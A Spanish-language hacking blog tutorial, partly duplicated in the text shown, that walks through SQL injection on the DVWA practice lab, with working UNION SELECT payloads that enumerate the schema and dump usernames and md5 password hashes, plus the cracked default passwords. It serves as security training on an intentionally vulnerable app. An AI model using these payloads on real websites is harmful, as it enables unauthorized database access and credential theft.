Ya escribí una entrada sobre qué es SQL Injection e hice una muestra sobre como saltar un login en una página web real
(con permiso previo), además de una explicación completa de cómo
funcionan las sentencias SQL con las que la web se comunica con la base
de datos y cómo funciona el ataque, también vimos cómo instalar y y configurar DVWA
para practicar hacking web en nuestro propio ordenador. Ahora vamos a
darle un repaso a la parte de inyección SQL (en el nivel bajo) en esta
maravillosa herramienta.
Éste tutorial es sobre una página web “falsa” pero se puede aplicar perfectamente a páginas web reales, eso sí, siempre con permiso de lxs dueñxs.

Nos encontramos con un formulario que pide un identificador de usuario, si ponemos un número del 1 al 5 nos saca algo así:
Primero probamos si es vulnerable a inyecciones SQL, escribimos una comilla y ¡pum!
Primero sacamos el nombre de la base de datos y los nombres de las tablas que hay en ella.

Las contraseñas son
admin: password
gordonb: abc123
1337: charley
pablo: letmein
smithy: password
Para saber qué son los hashes, que es md5 y como “deshashear”: Criptografía – Hashes y cómo crackearlos
Parece que es de broma, que ésto no pasa en páginas web reales, pero la realidad es que sí ocurre, está claro que hay muchísimas páginas que tienen una seguridad mejor que ésta, pero por experiencia os digo que hay otras muchas que están así de mal.
Muchos desarrolladores web no saben nada de seguridad y hacen páginas web bonitas y que cumplen su función, pero que son completamente inseguras. E incluso las que sí son “seguras” tienen vulnerabilidades. Cómo usuarios sólo podemos tener la precaución de no usar nunca contraseñas iguales en diferentes sitios.
Es un tema algo complicado si se está empezando y no explico punto por punto todas las inyecciones ni toda la teoría para que no se alargue demasiado, si tenéis dudas o sugerencias comentadlas y estaré encantado de responder.
Grupo de Telegram: https://t.me/hackingteamelrinconoscuro
Canal de Youtube: https://www.youtube.com/channel/UCXy8Lg28OuGuI5Z-2EWJaNA?view_as=subscriber
Canal Vimeo: https://vimeo.com/403136547?activityReferer=1
Red Social Twitter: https://twitter.com/HackingTeam1?s=09
Pagina Web: https://elrincondehackingteam.blogspot.com/
Éste tutorial es sobre una página web “falsa” pero se puede aplicar perfectamente a páginas web reales, eso sí, siempre con permiso de lxs dueñxs.

Nos encontramos con un formulario que pide un identificador de usuario, si ponemos un número del 1 al 5 nos saca algo así:
ID: 2Es una especie de buscador de usuarios, la base de datos es pequeña y por eso solo hay 5 almacenados.
First name: Gordon
Surname: Brown
Primero probamos si es vulnerable a inyecciones SQL, escribimos una comilla y ¡pum!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ””’ at line 1Ahora vamos a ver como explotar la vulnerabilidad, se me ocurre intentar comprobar si también tienen almacenadas contraseñas en la bd.
Primero sacamos el nombre de la base de datos y los nombres de las tablas que hay en ella.
‘ union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#information_schema es una tabla de la base de datos que contiene información sobre ésta. database() es una función que devuelve el nombre de la base de datos a la que se accede y group_concat(table_name) nos da los nombres de las tablas de la base de datos, ya que lo especificamos con where table_schema=database(). La salida es:
ID: ‘ union select group_c[…]Así que tenemos que la base de datos se llama dvwa y tiene las tablas guestbook y users. Lo que nos interesa ahora mismo es la tabla de usuarios, así que vamos a ver qué columnas tiene.
First name: dvwa
Surname: guestbook,users
‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=’dvwa’ and table_name=’users’#Así sacamos los nombres de las columnas de la tabla columns en information_schema en la base de datos dvwa y en la tabla users.
ID: ‘ union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’#Vemos que las columnas que nos daban por defecto se llaman first_name y last_name (nombre y apellido) sin embargo hay dos columnas que me resultan más interesantes, son user y password, vamos a ver que sale de ahí
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
‘or 1=0 union select user,password from dvwa.users#Lo que nos devuelve son todos los usuarios y contraseñas hasheadas en md5.

Las contraseñas son
admin: password
gordonb: abc123
1337: charley
pablo: letmein
smithy: password
Para saber qué son los hashes, que es md5 y como “deshashear”: Criptografía – Hashes y cómo crackearlos
Parece que es de broma, que ésto no pasa en páginas web reales, pero la realidad es que sí ocurre, está claro que hay muchísimas páginas que tienen una seguridad mejor que ésta, pero por experiencia os digo que hay otras muchas que están así de mal.
Muchos desarrolladores web no saben nada de seguridad y hacen páginas web bonitas y que cumplen su función, pero que son completamente inseguras. E incluso las que sí son “seguras” tienen vulnerabilidades. Cómo usuarios sólo podemos tener la precaución de no usar nunca contraseñas iguales en diferentes sitios.
Es un tema algo complicado si se está empezando y no explico punto por punto todas las inyecciones ni toda la teoría para que no se alargue demasiado, si tenéis dudas o sugerencias comentadlas y estaré encantado de responder.
Grupo de Telegram: https://t.me/hackingteamelrinconoscuro
Canal de Youtube: https://www.youtube.com/channel/UCXy8Lg28OuGuI5Z-2EWJaNA?view_as=subscriber
Canal Vimeo: https://vimeo.com/403136547?activityReferer=1
Red Social Twitter: https://twitter.com/HackingTeam1?s=09
Pagina Web: https://elrincondehackingteam.blogspot.com/
Y si en la plataforma nos pide usuario y contraseña, en vez de buscar usuario solo, qué hacemos para saber si es inyectable o no?
ResponderEliminar(Si podeis desbanearme de instagram os lo agradezco, me equivoqué con la ética del grupo) Mrs.Bots